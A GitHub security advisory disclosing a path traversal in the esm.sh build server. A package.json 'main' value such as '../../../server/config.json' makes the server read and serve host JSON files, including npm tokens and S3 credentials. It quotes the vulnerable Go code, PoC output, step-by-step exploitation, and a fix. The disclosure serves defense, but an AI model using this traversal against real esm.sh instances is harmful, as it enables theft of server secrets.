Skip to content

Path traversal via package.json main field reads arbitrary host files

Critical
ije published GHSA-qcj6-wfc2-w359 Jul 24, 2026

Package

gomod github.com/esm-dev/esm.sh (Go)

Affected versions

<= v137_4

Patched versions

None

Description

Summary

Path traversal via package.json main field in JSON-module branch reads arbitrary host files (sibling of CVE-2026-44594)

A malicious npm package whose package.json "main" field ends in .json and contains ../ segments causes the esm.sh build server to read and serve an arbitrary file from the host filesystem. The vulnerable sink is server/build.go:296-315 (the early "json module" branch). PR #1353 added the prefix-check guard at the very similar sink server/build.go:730-734 after CVE-2026-44594 (browser-field path traversal) was disclosed; it did not extend the same guard to the json-module sink in the same function. This sibling reaches the same primitive (path.Join(ctx.wd, "node_modules", pkgName, attacker_controlled) -> os.ReadFile -> embed bytes verbatim in the served module) via pkgJson.Main instead of pkgJson.Browser. v137_4 is affected.

Details

Affected: github.com/esm-dev/esm.sh, tag v137_4 (latest), commit 310a6d8.

server/build.go:296-315 (the early JSON-module branch in buildModule):

// json module
if strings.HasSuffix(entry.main, ".json") {
    if analyzeMode {
        return
    }
    var jsonData []byte
    jsonPath := path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, entry.main)
    jsonData, err = os.ReadFile(jsonPath)
    if err != nil {
        return
    }
    buffer := &bytes.Buffer{}
    buffer.WriteString("export default ")
    buffer.Write(jsonData)
    err = ctx.storage.Put(ctx.getSavePath(), buffer)
    ...
    meta = &BuildMeta{ExportDefault: true}
    return
}

There is no strings.HasPrefix(jsonPath, ctx.wd+string(os.PathSeparator)) guard at this site. Compare to the same function at lines 730-734, where PR #1353 added exactly that guard to close CVE-2026-44594:

filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// check if the filename is within the working directory
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}

Reachability via pkgJson.Main. server/build_resolver.go:303-305:

} else if pkgJson.Module != "" && ctx.existsPkgFile(pkgJson.Module) {
    entry.update(pkgJson.Module, true)
} else if pkgJson.Main != "" {
    entry.update(pkgJson.Main, pkgJson.Type == "module")   // <-- no existsPkgFile guard
}

The Module path has an existsPkgFile(pkgJson.Module) guard; the Main path has none. existsPkgFile is also not a traversal check anyway (it is just existsFile(path.Join(...))), but the Main path doesn't even invoke it. entry.main is then taken verbatim into the json-module branch above.

pkgJson.Main is loaded from the raw package.json "main" field at internal/npm/package_json.go:171 with no validation:

p := &PackageJSON{
    Name:    a.Name,
    Version: a.Version,
    Type:    a.Type,
    Main:    a.Main.String(),   // <-- attacker-controlled, no validation
    ...
}

path.Join collapses ../ segments, so path.Join(ctx.wd, "node_modules", pkgName, "../../../../server/config.json") resolves to a path outside ctx.wd/node_modules/pkgName. os.ReadFile then returns the bytes, and the surrounding code emits export default <jsonData> in the served module response (and stores it at ctx.getSavePath() for subsequent cache hits).

The output filetype constraint that limited the original CVE-2026-44594 also applies here: the entry must end in .json for this branch, and the embedded content is wrapped in export default ..., so any host file that ends in .json and is JSON-parseable in JS is fully recoverable. The original advisory called out esm.sh's own config.json (npm registry tokens, S3 storage credentials) as the prime target; this variant reaches the same file via a different package.json field. Non-.json host files can also be probed as an existence oracle since os.ReadFile returning an error vs success is observable from the response shape (the json-module branch returns early on read error, so the module response differs from a successful read).

PoC

The PoC at poc.go is a faithful inline reproduction of server/build.go:296-315 plus the post-PR-#1353 patched version of the same logic, in pure Go using only the standard library. It is structured the same way as the existing server/router_test.go style and confirms both halves of the claim (vulnerable site escapes, the existing fix would block it if applied here).

Setup the PoC simulates:

<root>/wd/node_modules/victim-pkg/index.js     (legitimate package contents)
<root>/server/config.json                      (server-private secret outside ctx.wd)

Attacker package.json: { "main": "../../../server/config.json" }.

Run:

$ go run poc.go
=== Path traversal via package.json main (json-module branch) ===

  wd:       /tmp/esmsh_poc_.../wd
  pkgDir:   /tmp/esmsh_poc_.../wd/node_modules/victim-pkg
  secret:   /tmp/esmsh_poc_.../server/config.json
  main:     "../../../server/config.json"

  [PASS] BASELINE: legitimate main resolves on vulnerable path
  [PASS] VULN: vulnerableJSONBranch reads file OUTSIDE ctx.wd
  [PASS] VULN: server-private secret bytes returned to caller

  Returned 58 bytes; first 80: "{\"npmToken\":\"npm_VICTIM_TOKEN\",\"s3SecretKey\":\"AWS_VICTIM\"}"

  [PASS] CONTROL: PR #1353's prefix-check rejects the traversal when applied here
  [PASS] CONTROL: PR #1353's prefix-check still accepts legitimate ./data.json

=== 5 passed, 0 failed ===

STATUS: VERIFIED

The "CONTROL" assertion is the load-bearing one: PR #1353's exact prefix-check logic, when applied at the same site, rejects the traversal. So the fix exists in the repo, it was just not extended to the json-module branch.

End-to-end reproduction against a running esm.sh instance:

  1. Publish an npm package to a registry esm.sh can reach (the public npm or a private registry configured in config.json):

    package.json:
    { "name": "<attacker-pkg>", "version": "1.0.0", "main": "../../../server/config.json" }
    

    The package may have an empty stub index.js; it is not consulted because entry.main is taken straight from pkgJson.Main.

  2. curl https://<esm.sh-host>/<attacker-pkg>@1.0.0

  3. The response is export default <contents of server/config.json> (or any other .json file the server process can read). For a self-hosted esm.sh that's the npm registry tokens and S3 secret access key from config.json; on any host it's also the file-existence oracle for arbitrary host paths.

The path through router.go to buildModule is the same as the path used by CVE-2026-44594, so the same exploitation prerequisites apply (any package that the server is willing to build is sufficient).

Impact

High, matching the published GHSA-rg65-45m7-hq57 / CVE-2026-44594 advisory (which is high for the browser-field variant on the public esm.sh, and described impact is "read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials"). This sibling reaches the same config.json plus any other .json file the server uid can read, with no precondition beyond publishing an npm package - i.e. exactly the same threat model the original advisory described.

Suggested fix (for the maintainer's reference): port the line-730-style guard back to the json-module branch:

jsonPath := path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, entry.main)
if !strings.HasPrefix(jsonPath, ctx.wd+string(os.PathSeparator)) {
    err = fmt.Errorf("could not resolve module %s", entry.main)
    return
}

Same site also benefits from an early entry.main guard in build_resolver.go:303-305 so neither pkgJson.Main nor pkgJson.Module propagates ../ further into the resolver. The same guard pattern, applied to transformDTS(dts) at server/dts_transform.go:51 (which also does path.Join(ctx.wd, "node_modules", pkgName, dts) with attacker-controlled dts from pkgJson.Types), would close another sibling site of the same class.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

Credits